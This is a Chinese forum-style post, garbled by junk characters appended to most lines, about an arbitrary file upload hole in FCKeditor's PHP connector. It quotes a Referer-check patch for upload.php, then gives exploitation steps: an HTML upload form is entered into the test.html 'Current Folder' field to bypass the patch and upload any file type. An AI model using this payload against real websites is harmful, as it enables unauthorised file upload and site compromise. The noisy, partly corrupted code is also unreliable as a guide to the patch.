漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php4 b) f) k& G! t5 N1 j' Y. ~
网上给出的修复方案是/ h3 w2 W% J* `/ n, _
修复方法,删除FCK编辑器用其他的编辑器. A# v( N/ s7 o2 E
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件" ^& ^) g& d. @! U3 E4 C4 [7 W
在* a- t% y1 }! [$ ^- T/ e3 x/ p
require(‘config.php’);+ m! Y* ^. {& `6 K+ d* Y8 t1 j1 j
require(‘util.php’);. y$ h( t$ G0 Z$ A
的下面添加以下代码—————————–; Y3 x# ]2 [6 E$ r' G+ G
//防止外部提交; F# u2 ^ ?* W# X
function outsidepost(): M1 R0 ^+ Z; W1 X2 g
{
. T7 t* V3 T: |5 x4 y; \' l( X( q$servername=$_SERVER['SERVER_NAME']; }4 y" V/ U( Y- {# l {4 d4 `* ?
$sub_from=@$_SERVER['HTTP_REFERER'];; S+ Z, D& Z: p. f! a
$sub_len=strlen($servername);
1 I- J5 M1 ~% T* q2 F* M7 y- @$checkfrom=substr($sub_from,7,$sub_len);4 Z+ q: H0 n+ z
if($checkfrom!=$servername){
s0 M8 x7 {: {echo(“you don’t outsidepost!”);3 d- T9 `* k, U! A
exit;! J) S0 a! K r1 d* H4 q% p- ]
}
- A# G% K5 g: s" Y9 |}
, J6 m5 P8 h5 b1 Moutsidepost();
( l ]# d# s$ y; m防止外部提交,但是没有防止内部提交,
( J2 @; E2 e6 F2 g1 D利用方法:
6 G9 ^' Z" Z5 \9 _1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html: H- L" R6 r) [! b- S. Z* N
2,在Current Folder 框输入
9 }) f3 `# b8 N k9 Z# ]<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>" w- ]' _! c" j: j
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
: j. R0 _* J" a) @PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |